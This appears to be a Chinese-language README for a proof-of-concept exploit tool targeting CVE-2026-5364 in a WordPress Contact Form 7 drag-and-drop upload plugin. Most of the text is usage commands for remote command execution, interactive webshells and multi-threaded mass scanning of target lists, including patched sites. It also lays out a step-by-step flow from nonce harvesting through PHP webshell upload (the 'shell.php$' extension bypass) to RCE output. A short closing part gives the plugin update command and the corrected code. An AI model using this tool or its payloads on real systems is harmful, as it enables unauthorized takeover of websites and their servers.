pathinfo('shell.php$', PATHINFO_EXTENSION)  →  'php$'   ← 绕过黑名单
sanitize_file_name('shell.php$')            →  'shell.php'  ← 以 PHP 文件保存

git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests

# 基础利用（id 命令）
python CVE-2026-5364.py -u https://target.com

# 自定义命令
python CVE-2026-5364.py -u https://target.com -c "whoami"

# 交互式 Shell
python CVE-2026-5364.py -u https://target.com --interactive

# 不同 Shell 类型
python CVE-2026-5364.py -u https://target.com --shell exec

# 详细输出 + 代理
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080

# 20 线程扫描
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt

# 也尝试已修补版本
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30

# 保存结果到文件
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt

目标：
  -u, --url URL         单目标 URL
  -l, --list FILE       目标列表（每行一个 URL）

利用：
  -c, --cmd CMD         OS 命令（默认：id）
  --shell TYPE          Webshell 类型：basic|exec|pass|eval|info
  -i, --interactive     打开交互式 Shell
  --no-skip-patched     也尝试已修补版本

扫描：
  -t, --threads N       线程数（默认：10）
  --timeout S           超时秒数（默认：15）
  --proxy URL           代理地址

输出：
  -o, --output FILE     结果文件
  -v, --verbose         详细输出
  --no-color            无颜色输出

1. Nonce 检测
   └─ wp_localize_script() 公开给每位访客
      GET /contact/ → HTML 中包含 "nonce":"abc123def4"

2. 上传 Shell
   └─ POST /wp-admin/admin-ajax.php
      action=cf7_file_uploads
      nonce=abc123def4
      type=php$          ← 不在黑名单中
      file=shell.php$    ← sanitize_file_name() → shell.php

3. 获取 URL
   └─ 响应：{"status":"ok","text":"https://target.com/wp-content/
                 uploads/cf7-uploads-custom/6831a2f4b3c12.php"}

4. RCE
   └─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)

$  %  ~  `  (空格)

# 使用 WP-CLI 更新
wp plugin update drag-and-drop-file-upload-for-contact-form-7

// 错误（1.1.3）
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);

// 正确（1.1.4）
$clean_name     = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);

// type 参数现在从管理员设置读取
$type = $this->get_admin_allowed_types($form_id);  // 而非从 POST 读取